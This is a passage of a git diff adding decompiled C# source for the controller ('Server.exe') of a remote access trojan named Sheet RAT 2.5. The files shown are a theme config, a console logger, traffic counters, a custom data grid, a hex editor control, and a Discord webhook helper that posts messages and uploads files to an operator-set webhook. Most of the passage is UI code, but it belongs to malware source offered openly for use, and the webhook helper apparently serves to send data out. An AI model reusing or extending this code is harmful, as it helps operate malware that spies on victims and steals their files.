Server.Helper.Configs.Themes { + +internal class Customs +{ + public MetroThemeStyle Theme = MetroThemeStyle.Dark; + public MetroColorStyle Style = MetroColorStyle.Lime; + public static Customs customs = new Customs(); + + public static void Load(string path) + { + Customs customs = JsonConvert.DeserializeObject(File.ReadAllText(path)); + Customs.customs.Theme = customs.Theme; + Customs.customs.Style = customs.Style; + } + + public static void Save(string path) + { + string contents = JsonConvert.SerializeObject((object) Customs.customs, Formatting.Indented); + File.WriteAllText(path, contents); + } + + public Color ThemeToColor() + { + return this.Theme != MetroThemeStyle.Dark ? Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue) : Color.FromArgb(17, 17, 17); + } + + public Color StyleToColor() + { + switch (this.Style) + { + case MetroColorStyle.Black: + return Color.Black; + case MetroColorStyle.White: + return Color.White; + case MetroColorStyle.Silver: + return Color.Silver; + case MetroColorStyle.Blue: + return Color.FromArgb(0, 174, 219); + case MetroColorStyle.Green: + return Color.FromArgb(0, 177, 89); + case MetroColorStyle.Teal: + return Color.FromArgb(0, 170, 173); + case MetroColorStyle.Orange: + return Color.Orange; + case MetroColorStyle.Brown: + return Color.Brown; + case MetroColorStyle.Pink: + return Color.Pink; + case MetroColorStyle.Magenta: + return Color.Magenta; + case MetroColorStyle.Purple: + return Color.Purple; + case MetroColorStyle.Red: + return Color.Red; + case MetroColorStyle.Yellow: + return Color.Yellow; + default: + return Color.FromArgb(142, 188, 0); + } + } +} +} diff --git a/Server/Server/Helper/CustomConsole.cs b/Server/Server/Helper/CustomConsole.cs new file mode 100644 index 0000000..c16e14d --- /dev/null +++ b/Server/Server/Helper/CustomConsole.cs @@ -0,0 +1,90 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.CustomConsole +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Threading.Tasks; + +//#nullable disable +namespace Server.Helper { + +internal class CustomConsole +{ + private static object ConsoleLOck = new object(); + + private static string TitleGet(CustomConsole.Title title) + { + switch (title) + { + case CustomConsole.Title.PacketGet: + return " Packet Get "; + case CustomConsole.Title.PacketSend: + return " Packet Send "; + case CustomConsole.Title.Disconnect: + return " Disconnect "; + case CustomConsole.Title.Connect: + return " Connect "; + case CustomConsole.Title.Information: + return " Information "; + case CustomConsole.Title.Error: + return " Error "; + default: + return "Default"; + } + } + + private static ConsoleColor TitleGetColor(CustomConsole.Title title) + { + switch (title) + { + case CustomConsole.Title.PacketGet: + return ConsoleColor.Magenta; + case CustomConsole.Title.PacketSend: + return ConsoleColor.Cyan; + case CustomConsole.Title.Disconnect: + return ConsoleColor.Red; + case CustomConsole.Title.Connect: + return ConsoleColor.Green; + case CustomConsole.Title.Information: + return ConsoleColor.Blue; + case CustomConsole.Title.Error: + return ConsoleColor.Red; + default: + return ConsoleColor.White; + } + } + + public static void WriteLine(CustomConsole.Title title, string text) + { + Task.Run((Action) (() => + { + lock (CustomConsole.ConsoleLOck) + { + Console.ForegroundColor = ConsoleColor.Gray; + Console.Write("["); + Console.ForegroundColor = ConsoleColor.White; + Console.Write(DateTime.Now.ToString()); + Console.ForegroundColor = CustomConsole.TitleGetColor(title); + Console.Write(" " + CustomConsole.TitleGet(title)); + Console.ForegroundColor = ConsoleColor.Gray; + Console.Write("] "); + Console.ForegroundColor = ConsoleColor.White; + Console.WriteLine(text); + } + })); + } + + public enum Title + { + PacketGet, + PacketSend, + Disconnect, + Connect, + Information, + Error, + } +} +} diff --git a/Server/Server/Helper/Data.cs b/Server/Server/Helper/Data.cs new file mode 100644 index 0000000..d0bcc23 --- /dev/null +++ b/Server/Server/Helper/Data.cs @@ -0,0 +1,21 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Data +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper { + +internal class Data +{ + public static long SentValue { get; set; } + + public static long ReceivedValue { get; set; } + + public static string GetData() + { + return $" Sent: [{Methods.BytesToString(Data.SentValue)}] Received: [{Methods.BytesToString(Data.ReceivedValue)}]"; + } +} +} diff --git a/Server/Server/Helper/DataGridImage.cs b/Server/Server/Helper/DataGridImage.cs new file mode 100644 index 0000000..bca28d5 --- /dev/null +++ b/Server/Server/Helper/DataGridImage.cs @@ -0,0 +1,93 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.DataGridImage +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Windows.Forms; +using System.Windows.Forms.Layout; + +//#nullable disable +namespace Server.Helper { + +public sealed class DataGridImage : DataGridView +{ + protected override void PaintBackground( + Graphics graphics, + Rectangle clipBounds, + Rectangle gridBounds) + { + base.PaintBackground(graphics, clipBounds, gridBounds); + Bitmap bitmap = new Bitmap(this.Parent.Width, this.Parent.Height); + foreach (Control control in (ArrangedElementCollection) this.Parent.Controls) + { + if (control.Bounds.IntersectsWith(this.Bounds) & control != this) + control.DrawToBitmap(bitmap, control.Bounds); + } + graphics.DrawImage((Image) bitmap, -this.Left, -this.Top); + bitmap.Dispose(); + } + + protected override void OnColumnAdded(DataGridViewColumnEventArgs e) + { + base.OnColumnAdded(e); + this.SetCellStyle(Color.Transparent); + } + + private void SetCellStyle(Color cellColour) + { + foreach (DataGridViewColumn column in (BaseCollection) this.Columns) + { + column.DefaultCellStyle.BackColor = cellColour; + column.DefaultCellStyle.SelectionBackColor = cellColour; + } + } + + protected override void OnMouseUp(MouseEventArgs mouseEventArgs_0) + { + if (mouseEventArgs_0.Button == MouseButtons.Right) + { + try + { + DataGridView.HitTestInfo hitTestInfo = this.HitTest(mouseEventArgs_0.X, mouseEventArgs_0.Y); + if (hitTestInfo.RowIndex != -1) + { + DataGridViewRow row = this.Rows[hitTestInfo.RowIndex]; + if (!row.Selected) + { + this.ClearSelection(); + row.Selected = true; + } + } + } + catch + { + } + } + base.OnMouseUp(mouseEventArgs_0); + } + + protected override void OnMouseWheel(MouseEventArgs mouseEventArgs_0) + { + base.OnMouseWheel(mouseEventArgs_0); + try + { + switch (mouseEventArgs_0.Delta) + { + case -120: + this.FirstDisplayedScrollingRowIndex += SystemInformation.MouseWheelScrollLines; + break; + case 120: + this.FirstDisplayedScrollingRowIndex = Math.Max(0, this.FirstDisplayedScrollingRowIndex - SystemInformation.MouseWheelScrollLines); + break; + } + } + catch (Exception ex) + { + } + } +} +} diff --git a/Server/Server/Helper/DiscordWebhook.cs b/Server/Server/Helper/DiscordWebhook.cs new file mode 100644 index 0000000..0b10d9a --- /dev/null +++ b/Server/Server/Helper/DiscordWebhook.cs @@ -0,0 +1,315 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.DiscordWebhook +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Text; + +//#nullable disable +namespace Server.Helper { + +public class DiscordWebhook +{ + private static string defaultUserAgent = ""; + private static string defaultAvatar = ""; + + public static void SendTestWebhook() + { + DiscordWebhook.Send("Test message recieved successfully! :raised_hands:"); + } + + public static string Send(string mssgBody) + { + if (string.IsNullOrEmpty(Program.form.DiscordUrl.Text)) + return ""; + HttpWebResponse httpWebResponse = DiscordWebhook.FormUpload.MultipartFormDataPost(Program.form.DiscordUrl.Text, DiscordWebhook.defaultUserAgent, new Dictionary() + { + { + "username", + (object) Program.form.DiscordHookName.Text + }, + { + "content", + (object) mssgBody + }, + { + "avatar_url", + (object) DiscordWebhook.defaultAvatar + } + }); + string end = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd(); + httpWebResponse.Close(); + return end; + } + + public static string Send(string mssgBody, string userName) + { + if (string.IsNullOrEmpty(Program.form.DiscordUrl.Text)) + return ""; + HttpWebResponse httpWebResponse = DiscordWebhook.FormUpload.MultipartFormDataPost(Program.form.DiscordUrl.Text, DiscordWebhook.defaultUserAgent, new Dictionary() + { + { + "username", + (object) userName + }, + { + "content", + (object) mssgBody + }, + { + "avatar_url", + (object) DiscordWebhook.defaultAvatar + } + }); + string end = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd(); + httpWebResponse.Close(); + return end; + } + + public static string Send(string mssgBody, string userName, string webhook) + { + if (string.IsNullOrEmpty(Program.form.DiscordUrl.Text)) + return ""; + HttpWebResponse httpWebResponse = DiscordWebhook.FormUpload.MultipartFormDataPost(webhook, DiscordWebhook.defaultUserAgent, new Dictionary() + { + { + "username", + (object) userName + }, + { + "content", + (object) mssgBody + }, + { + "avatar_url", + (object) DiscordWebhook.defaultAvatar + } + }); + string end = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd(); + httpWebResponse.Close(); + return end; + } + + public static string SendFile( + string mssgBody, + string filename, + string fileformat, + byte[] data, + string application) + { + if (string.IsNullOrEmpty(Program.form.DiscordUrl.Text)) + return ""; + HttpWebResponse httpWebResponse = DiscordWebhook.FormUpload.MultipartFormDataPost(Program.form.DiscordUrl.Text, DiscordWebhook.defaultUserAgent, new Dictionary() + { + { + nameof (filename), + (object) filename + }, + { + nameof (fileformat), + (object) fileformat + }, + { + "file", + (object) new DiscordWebhook.FormUpload.FileParameter(data, filename, application) + }, + { + "username", + (object) Program.form.DiscordHookName.Text + }, + { + "content", + (object) mssgBody + } + }); + string end = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd(); + httpWebResponse.Close(); + return end; + } + + public static string SendFile( + string mssgBody, + string filename, + string fileformat, + string filepath, + string application, + string userName) + { + if (string.IsNullOrEmpty(Program.form.DiscordUrl.Text)) + return ""; + FileStream fileStream = new FileStream(filepath, FileMode.Open, FileAccess.Read); + byte[] numArray = new byte[fileStream.Length]; + fileStream.Read(numArray, 0, numArray.Length); + fileStream.Close(); + HttpWebResponse httpWebResponse = DiscordWebhook.FormUpload.MultipartFormDataPost(Program.form.DiscordUrl.Text, DiscordWebhook.defaultUserAgent, new Dictionary() + { + { + nameof (filename), + (object) filename + }, + { + nameof (fileformat), + (object) fileformat + }, + { + "file", + (object) new DiscordWebhook.FormUpload.FileParameter(numArray, filename, application) + }, + { + "username", + (object) userName + }, + { + "content", + (object) mssgBody + } + }); + string end = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd(); + httpWebResponse.Close(); + return end; + } + + public static string SendFile( + string mssgBody, + string filename, + string fileformat, + string filepath, + string application, + string userName, + string webhook) + { + FileStream fileStream = new FileStream(filepath, FileMode.Open, FileAccess.Read); + byte[] numArray = new byte[fileStream.Length]; + fileStream.Read(numArray, 0, numArray.Length); + fileStream.Close(); + HttpWebResponse httpWebResponse = DiscordWebhook.FormUpload.MultipartFormDataPost(webhook, DiscordWebhook.defaultUserAgent, new Dictionary() + { + { + nameof (filename), + (object) filename + }, + { + nameof (fileformat), + (object) fileformat + }, + { + "file", + (object) new DiscordWebhook.FormUpload.FileParameter(numArray, filename, application) + }, + { + "username", + (object) userName + }, + { + "content", + (object) mssgBody + } + }); + string end = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd(); + httpWebResponse.Close(); + return end; + } + + public static class FormUpload + { + private static readonly Encoding encoding = Encoding.UTF8; + + public static HttpWebResponse MultipartFormDataPost( + string postUrl, + string userAgent, + Dictionary postParameters) + { + string boundary = $"----------{Guid.NewGuid():N}"; + string contentType = "multipart/form-data; boundary=" + boundary; + byte[] multipartFormData = DiscordWebhook.FormUpload.GetMultipartFormData(postParameters, boundary); + return DiscordWebhook.FormUpload.PostForm(postUrl, userAgent, contentType, multipartFormData); + } + + private static HttpWebResponse PostForm( + string postUrl, + string userAgent, + string contentType, + byte[] formData) + { + if (!(WebRequest.Create(postUrl) is HttpWebRequest httpWebRequest)) + throw new NullReferenceException("request is not a http request"); + httpWebRequest.Method = "POST"; + httpWebRequest.ContentType = contentType; + httpWebRequest.UserAgent = userAgent; + httpWebRequest.CookieContainer = new CookieContainer(); + httpWebRequest.ContentLength = (long) formData.Length; + using (Stream requestStream = httpWebRequest.GetRequestStream()) + { + requestStream.Write(formData, 0, formData.Length); + requestStream.Close(); + } + return httpWebRequest.GetResponse() as HttpWebResponse; + } + + private static byte[] GetMultipartFormData( + Dictionary postParameters, + string boundary) + { + Stream stream = (Stream) new MemoryStream(); + bool flag = false; + foreach (KeyValuePair postParameter in postParameters) + { + if (flag) + stream.Write(DiscordWebhook.FormUpload.encoding.GetBytes("\r\n"), 0, DiscordWebhook.FormUpload.encoding.GetByteCount("\r\n")); + flag = true; + if (postParameter.Value is DiscordWebhook.FormUpload.FileParameter) + { + DiscordWebhook.FormUpload.FileParameter fileParameter = (DiscordWebhook.FormUpload.FileParameter) postParameter.Value; + string s = $"--{boundary}\r\nContent-Disposition: form-data; name=\"{postParameter.Key}\"; filename=\"{fileParameter.FileName ?? postParameter.Key}\"\r\nContent-Type: {fileParameter.ContentType ?? "application/octet-stream"}\r\n\r\n"; + stream.Write(DiscordWebhook.FormUpload.encoding.GetBytes(s), 0, DiscordWebhook.FormUpload.encoding.GetByteCount(s)); + stream.Write(fileParameter.File, 0, fileParameter.File.Length); + } + else + { + string s = $"--{boundary}\r\nContent-Disposition: form-data; name=\"{postParameter.Key}\"\r\n\r\n{postParameter.Value}"; + stream.Write(DiscordWebhook.FormUpload.encoding.GetBytes(s), 0, DiscordWebhook.FormUpload.encoding.GetByteCount(s)); + } + } + string s1 = $"\r\n--{boundary}--\r\n"; + stream.Write(DiscordWebhook.FormUpload.encoding.GetBytes(s1), 0, DiscordWebhook.FormUpload.encoding.GetByteCount(s1)); + stream.Position = 0L; + byte[] buffer = new byte[stream.Length]; + stream.Read(buffer, 0, buffer.Length); + stream.Close(); + return buffer; + } + + public class FileParameter + { + public byte[] File { get; set; } + + public string FileName { get; set; } + + public string ContentType { get; set; } + + public FileParameter(byte[] file) + : this(file, (string) null) + { + } + + public FileParameter(byte[] file, string filename) + : this(file, filename, (string) null) + { + } + + public FileParameter(byte[] file, string filename, string contenttype) + { + this.File = file; + this.FileName = filename; + this.ContentType = contenttype; + } + } + } +} +} diff --git a/Server/Server/Helper/HexEditor/ByteCollection.cs b/Server/Server/Helper/HexEditor/ByteCollection.cs new file mode 100644 index 0000000..2fc83d9 --- /dev/null +++ b/Server/Server/Helper/HexEditor/ByteCollection.cs @@ -0,0 +1,42 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.HexEditor.ByteCollection +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Collections.Generic; + +//#nullable disable +namespace Server.Helper.HexEditor { + +public class ByteCollection +{ + private List _bytes; + + public int Length => this._bytes.Count; + + public ByteCollection() => this._bytes = new List(); + + public ByteCollection(byte[] bytes) => this._bytes = new List((IEnumerable) bytes); + + public void Add(byte item) => this._bytes.Add(item); + + public void Insert(int index, byte item) => this._bytes.Insert(index, item); + + public void Remove(byte item) => this._bytes.Remove(item); + + public void RemoveAt(int index) => this._bytes.RemoveAt(index); + + public void RemoveRange(int startIndex, int count) => this._bytes.RemoveRange(startIndex, count); + + public byte GetAt(int index) => this._bytes[index]; + + public void SetAt(int index, byte item) => this._bytes[index] = item; + + public char GetCharAt(int index) => Convert.ToChar(this._bytes[index]); + + public byte[] ToArray() => this._bytes.ToArray(); +} +} diff --git a/Server/Server/Helper/HexEditor/Caret.cs b/Server/Server/Helper/HexEditor/Caret.cs new file mode 100644 index 0000000..a07d618 --- /dev/null +++ b/Server/Server/Helper/HexEditor/Caret.cs @@ -0,0 +1,154 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.HexEditor.Caret +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Runtime.InteropServices; + +//#nullable disable +namespace Server.Helper.HexEditor { + +public class Caret +{ + private int _startIndex; + private int _endIndex; + private bool _isCaretActive; + private bool _isCaretHidden; + private Point _location; + private Server.Helper.HexEditor.HexEditor _editor; + + public int SelectionStart + { + get => this._endIndex < this._startIndex ? this._endIndex : this._startIndex; + } + + public int SelectionLength + { + get + { + return this._endIndex < this._startIndex ? this._startIndex - this._endIndex : this._endIndex - this._startIndex; + } + } + + public bool Focused => this._isCaretActive; + + public int CurrentIndex => this._endIndex; + + public Point Location => this._location; + + public event EventHandler SelectionStartChanged; + + public event EventHandler SelectionLengthChanged; + + public Caret(Server.Helper.HexEditor.HexEditor editor) + { + this._editor = editor; + this._isCaretActive = false; + this._startIndex = 0; + this._endIndex = 0; + this._isCaretHidden = true; + this._location = new Point(0, 0); + } + + private bool Create(IntPtr hWHandler) + { + if (this._isCaretActive) + return false; + this._isCaretActive = true; + return Caret.CreateCaret(hWHandler, IntPtr.Zero, 0, (int) this._editor.CharSize.Height - 2); + } + + private bool Show(IntPtr hWnd) + { + if (!this._isCaretActive) + return false; + this._isCaretHidden = false; + return Caret.ShowCaret(hWnd); + } + + public bool Hide(IntPtr hWnd) + { + if (!this._isCaretActive || this._isCaretHidden) + return false; + this._isCaretHidden = true; + return Caret.HideCaret(hWnd); + } + + public bool Destroy() + { + if (this._isCaretActive) + { + this._isCaretActive = false; + this.DeSelect(); + Caret.DestroyCaret(); + } + return false; + } + + public void SetStartIndex(int index) + { + this._startIndex = index; + this._endIndex = this._startIndex; + if (this.SelectionStartChanged != null) + this.SelectionStartChanged((object) this, EventArgs.Empty); + if (this.SelectionLengthChanged == null) + return; + this.SelectionLengthChanged((object) this, EventArgs.Empty); + } + + public void SetEndIndex(int index) + { + this._endIndex = index; + if (this.SelectionStartChanged != null) + this.SelectionStartChanged((object) this, EventArgs.Empty); + if (this.SelectionLengthChanged == null) + return; + this.SelectionLengthChanged((object) this, EventArgs.Empty); + } + + public void SetCaretLocation(Point start) + { + this.Create(this._editor.Handle); + this._location = start; + Caret.SetCaretPos(this._location.X, this._location.Y); + this.Show(this._editor.Handle); + } + + public bool IsSelected(int byteIndex) + { + return this.SelectionStart <= byteIndex && byteIndex < this.SelectionStart + this.SelectionLength; + } + + private void DeSelect() + { + if (this._endIndex < this._startIndex) + this._startIndex = this._endIndex; + else + this._endIndex = this._startIndex; + if (this.SelectionStartChanged != null) + this.SelectionStartChanged((object) this, EventArgs.Empty); + if (this.SelectionLengthChanged == null) + return; + this.SelectionLengthChanged((object) this, EventArgs.Empty); + } + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool DestroyCaret(); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetCaretPos(int x, int y); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool ShowCaret(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool HideCaret(IntPtr hWnd); +} +} diff --git a/Server/Server/Helper/HexEditor/EditView.cs b/Server/Server/Helper/HexEditor/EditView.cs new file mode 100644 index 0000000..799287e --- /dev/null +++ b/Server/Server/Helper/HexEditor/EditView.cs @@ -0,0 +1,111 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.HexEditor.EditView +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper.HexEditor { + +public class EditView : IKeyMouseEventHandler +{ + private HexViewHandler _hexView; + private StringViewHandler _stringView; + private Server.Helper.HexEditor.HexEditor _editor; + + public EditView(Server.Helper.HexEditor.HexEditor editor) + { + this._editor = editor; + this._hexView = new HexViewHandler(editor); + this._stringView = new StringViewHandler(editor); + } + + public void OnKeyPress(KeyPressEventArgs e) + { + if (this.InHexView(this._editor.CaretPosX)) + this._hexView.OnKeyPress(e); + else + this._stringView.OnKeyPress(e); + } + + public void OnKeyDown(KeyEventArgs e) + { + if (this.InHexView(this._editor.CaretPosX)) + this._hexView.OnKeyDown(e); + else + this._stringView.OnKeyDown(e); + } + + public void OnKeyUp(KeyEventArgs e) + { + } + + public void OnMouseDown(MouseEventArgs e) + { + if (e.Button != MouseButtons.Left) + return; + if (this.InHexView(e.X)) + this._hexView.OnMouseDown(e.X, e.Y); + else + this._stringView.OnMouseDown(e.X, e.Y); + } + + public void OnMouseDragged(MouseEventArgs e) + { + if (e.Button != MouseButtons.Left) + return; + if (this.InHexView(e.X)) + this._hexView.OnMouseDragged(e.X, e.Y); + else + this._stringView.OnMouseDragged(e.X, e.Y); + } + + public void OnMouseUp(MouseEventArgs e) + { + } + + public void OnMouseDoubleClick(MouseEventArgs e) + { + if (e.Button != MouseButtons.Left) + return; + if (this.InHexView(e.X)) + this._hexView.OnMouseDoubleClick(); + else + this._stringView.OnMouseDoubleClick(); + } + + public void OnGotFocus(EventArgs e) + { + if (this.InHexView(this._editor.CaretPosX)) + this._hexView.Focus(); + else + this._stringView.Focus(); + } + + public void SetLowerCase() => this._hexView.SetLowerCase(); + + public void SetUpperCase() => this._hexView.SetUpperCase(); + + public void Update(int startPositionX, Rectangle area) + { + this._hexView.Update(startPositionX, area); + this._stringView.Update(this._hexView.MaxWidth, area); + } + + public void Paint(Graphics g, int startIndex, int endIndex) + { + for (int index = 0; index + startIndex < endIndex; ++index) + { + this._hexView.Paint(g, index, startIndex); + this._stringView.Paint(g, index, startIndex); + } + } + + private bool InHexView(int x) => x < this._hexView.MaxWidth + this._editor.EntityMargin - 2; +} +} diff --git a/Server/Server/Helper/HexEditor/HexEditor.cs b/Server/Server/Helper/HexEditor/HexEditor.cs new file mode 100644 index 0000000..057bb90 --- /dev/null +++ b/Server/Server/Helper/HexEditor/HexEditor.cs @@ -0,0 +1,904 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.HexEditor.HexEditor +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper.HexEditor { + +public class HexEditor : Control +{ + private object _caretLock = new object(); + private object _hexTableLock = new object(); + private IKeyMouseEventHandler _handler; + private EditView _editView; + private ByteCollection _hexTable; + private string _lineCountCaps = "X"; + private int _nrCharsLineCount = 4; + private Caret _caret; + private Rectangle _recContent; + private Rectangle _recLineCount; + private StringFormat _stringFormat; + private int _firstByte; + private int _lastByte; + private int _maxBytesH; + private int _maxBytesV; + private int _maxBytes; + private int _maxVisibleBytesV; + private VScrollBar _vScrollBar; + private int _vScrollBarWidth = 20; + private int _vScrollPos; + private int _vScrollMax; + private int _vScrollMin; + private int _vScrollSmall; + private int _vScrollLarge; + private SizeF _charSize; + private bool _isVScrollHidden = true; + private int _bytesPerLine = 8; + private int _entityMargin = 10; + private BorderStyle _borderStyle = BorderStyle.Fixed3D; + private Color _borderColor = Color.Empty; + private Color _selectionBackColor = Color.Blue; + private Color _selectionForeColor = Color.White; + private Server.Helper.HexEditor.HexEditor.CaseStyle _lineCountCaseStyle = Server.Helper.HexEditor.HexEditor.CaseStyle.UpperCase; + private Server.Helper.HexEditor.HexEditor.CaseStyle _hexViewCaseStyle = Server.Helper.HexEditor.HexEditor.CaseStyle.UpperCase; + private bool _isVScrollVisible; + private bool _dragging; + + public override Font Font + { + set + { + base.Font = value; + this.UpdateRectanglePositioning(); + this.Invalidate(); + } + } + + [Browsable(false)] + [EditorBrowsable(EditorBrowsableState.Never)] + public override string Text + { + get => base.Text; + set => base.Text = value; + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public byte[] HexTable + { + get + { + lock (this._hexTableLock) + return this._hexTable.ToArray(); + } + set + { + lock (this._hexTableLock) + { + if (value == this._hexTable.ToArray()) + return; + this._hexTable = new ByteCollection(value); + } + this.UpdateRectanglePositioning(); + this.Invalidate(); + } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public SizeF CharSize + { + get => this._charSize; + private set + { + if (this._charSize == value) + return; + this._charSize = value; + if (this.CharSizeChanged == null) + return; + this.CharSizeChanged((object) this, EventArgs.Empty); + } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int MaxBytesV => this._maxBytesV; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int FirstVisibleByte => this._firstByte; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int LastVisibleByte => this._lastByte; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool VScrollBarHidden + { + get => this._isVScrollHidden; + set + { + if (this._isVScrollHidden == value) + return; + this._isVScrollHidden = value; + if (!this._isVScrollHidden) + this.Controls.Add((Control) this._vScrollBar); + else + this.Controls.Remove((Control) this._vScrollBar); + this.UpdateRectanglePositioning(); + this.Invalidate(); + } + } + + [DefaultValue(8)] + [Category("Hex")] + [Description("Property that specifies the number of bytes to display per line.")] + public int BytesPerLine + { + get => this._bytesPerLine; + set + { + if (this._bytesPerLine == value) + return; + this._bytesPerLine = value; + this.UpdateRectanglePositioning(); + this.Invalidate(); + } + } + + [DefaultValue(10)] + [Category("Hex")] + [Description("Property that specifies the margin between each of the entitys in the control.")] + public int EntityMargin + { + get => this._entityMargin; + set + { + if (this._entityMargin == value) + return; + this._entityMargin = value; + this.UpdateRectanglePositioning(); + this.Invalidate(); + } + } + + [DefaultValue(BorderStyle.Fixed3D)] + [Category("Appearance")] + [Description("Indicates where the control should have a border.")] + public BorderStyle BorderStyle + { + get => this._borderStyle; + set + { + if (this._borderStyle == value) + return; + if (value != BorderStyle.FixedSingle) + this._borderColor = Color.Empty; + this._borderStyle = value; + this.UpdateRectanglePositioning(); + this.Invalidate(); + } + } + + [DefaultValue(typeof (Color), "Empty")] + [Category("Appearance")] + [Description("Indicates the color to be used when displaying a FixedSingle border.")] + public Color BorderColor + { + get => this._borderColor; + set + { + if (this.BorderStyle != BorderStyle.FixedSingle || this._borderColor == value) + return; + this._borderColor = value; + this.Invalidate(); + } + } + + [DefaultValue(typeof (Color), "Blue")] + [Category("Hex")] + [Description("Property for the background color of the selected text areas.")] + public Color SelectionBackColor + { + get => this._selectionBackColor; + set + { + if (this._selectionBackColor == value) + return; + this._selectionBackColor = value; + } + } + + [DefaultValue(typeof (Color), "White")] + [Category("Hex")] + [Description("Property for the foreground color of the selected text areas.")] + public Color SelectionForeColor + { + get => this._selectionForeColor; + set + { + if (this._selectionForeColor == value) + return; + this._selectionForeColor = value; + } + } + + [DefaultValue(Server.Helper.HexEditor.HexEditor.CaseStyle.UpperCase)] + [Category("Hex")] + [Description("Property for the case type to use on the line counter.")] + public Server.Helper.HexEditor.HexEditor.CaseStyle LineCountCaseStyle + { + get => this._lineCountCaseStyle; + set + { + if (this._lineCountCaseStyle == value) + return; + this._lineCountCaseStyle = value; + this._lineCountCaps = this._lineCountCaseStyle != Server.Helper.HexEditor.HexEditor.CaseStyle.LowerCase ? "X" : "x"; + this.Invalidate(); + } + } + + [DefaultValue(Server.Helper.HexEditor.HexEditor.CaseStyle.UpperCase)] + [Category("Hex")] + [Description("Property for the case type to use for the hexadecimal values view.")] + public Server.Helper.HexEditor.HexEditor.CaseStyle HexViewCaseStyle + { + get => this._hexViewCaseStyle; + set + { + if (this._hexViewCaseStyle == value) + return; + this._hexViewCaseStyle = value; + if (this._hexViewCaseStyle == Server.Helper.HexEditor.HexEditor.CaseStyle.LowerCase) + this._editView.SetLowerCase(); + else + this._editView.SetUpperCase(); + this.Invalidate(); + } + } + + [DefaultValue(false)] + [Category("Hex")] + [Description("Property for the visibility of the vertical scrollbar.")] + public bool VScrollBarVisisble + { + get => this._isVScrollVisible; + set + { + if (this._isVScrollVisible == value) + return; + this._isVScrollVisible = value; + this.UpdateRectanglePositioning(); + this.Invalidate(); + } + } + + [Description("Event that is triggered whenever the hextable has been changed.")] + public event EventHandler HexTableChanged; + + [Description("Event that is triggered whenever the SelectionStart value is changed.")] + public event EventHandler SelectionStartChanged; + + [Description("Event that is triggered whenever the SelectionLength value is changed.")] + public event EventHandler SelectionLengthChanged; + + [Description("Event that is triggered whenever the size of the char is changed.")] + public event EventHandler CharSizeChanged; + + protected void OnVScrollBarScroll(object sender, ScrollEventArgs e) + { + switch (e.Type) + { + case ScrollEventType.SmallDecrement: + this.ScrollLineUp(1); + break; + case ScrollEventType.SmallIncrement: + this.ScrollLineDown(1); + break; + case ScrollEventType.LargeDecrement: + this.ScrollLineUp(this._vScrollLarge); + break; + case ScrollEventType.LargeIncrement: + 